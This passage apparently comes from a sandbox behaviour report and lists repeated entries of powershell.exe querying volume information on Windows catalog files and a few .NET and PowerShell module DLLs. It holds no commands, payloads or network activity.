Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
